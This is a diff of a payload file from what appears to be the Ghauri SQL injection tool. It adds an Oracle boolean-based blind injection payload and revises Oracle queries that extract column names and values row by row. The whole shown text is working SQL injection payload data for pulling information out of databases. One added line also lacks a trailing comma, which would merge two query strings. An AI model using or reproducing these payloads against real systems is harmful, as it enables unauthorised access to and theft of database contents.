■ ■ ■ ■ ■ ■
ghauri/common/payloads.py
| skipped 1601 lines |
1602 | 1602 | | "Oracle": { |
1603 | 1603 | | "boolean-based": [ |
1604 | 1604 | | { |
| 1605 | + | "payload": "(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 01234 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)", |
| 1606 | + | "comments": [ |
| 1607 | + | {"pref": "", "suf": ""}, |
| 1608 | + | ], |
| 1609 | + | "title": "Oracle boolean-based blind - Parameter replace", |
| 1610 | + | "vector": "(SELECT (CASE WHEN ([INFERENCE]) THEN 01234 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)", |
| 1611 | + | "dbms": "", |
| 1612 | + | }, |
| 1613 | + | { |
1605 | 1614 | | "payload": "AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,0568) END) FROM DUAL) IS NULL", |
1606 | 1615 | | "comments": [ |
1607 | 1616 | | {"pref": " ", "suf": "--"}, |
| skipped 396 lines |
2004 | 2013 | | "(SELECT TOP 1 name FROM {db}..syscolumns WHERE 1=1)", |
2005 | 2014 | | ], |
2006 | 2015 | | "Oracle": [ |
2007 | | - | "(SELECT COLUMN_NAME FROM SYS.ALL_TAB_COLUMNS WHERE OWNER={db} AND TABLE_NAME={tbl})" |
| 2016 | + | "(SELECT COLUMN_NAME FROM (SELECT COLUMN_NAME,ROWNUM AS LIMIT FROM SYS.ALL_TAB_COLUMNS WHERE OWNER={db} AND TABLE_NAME={tbl}) WHERE LIMIT=1)", |
2008 | 2017 | | ], |
2009 | 2018 | | } |
2010 | 2019 | | |
| skipped 42 lines |
2053 | 2062 | | "(SELECT TOP 1 {col} FROM {tbl} WHERE 1=1)", |
2054 | 2063 | | ], |
2055 | 2064 | | "Oracle": [ |
2056 | | - | "(SELECT {col} FROM (SELECT qq.*,ROWNUM AS LIMIT FROM {tbl} qq ORDER BY ROWNUM) WHERE LIMIT=1)" |
| 2065 | + | "(SELECT {col} FROM (SELECT {col},ROWNUM AS LIMIT FROM {tbl} {col} ORDER BY ROWNUM) WHERE LIMIT=1)" |
| 2066 | + | "(SELECT {col} FROM (SELECT {col},ROWNUM AS LIMIT FROM {tbl}) WHERE LIMIT=1)", |
| 2067 | + | "(SELECT {col} FROM (SELECT qq.*,ROWNUM AS LIMIT FROM {tbl} qq ORDER BY ROWNUM) WHERE LIMIT=1)", |
2057 | 2068 | | ], |
2058 | 2069 | | } |
2059 | 2070 | | |
| skipped 5 lines |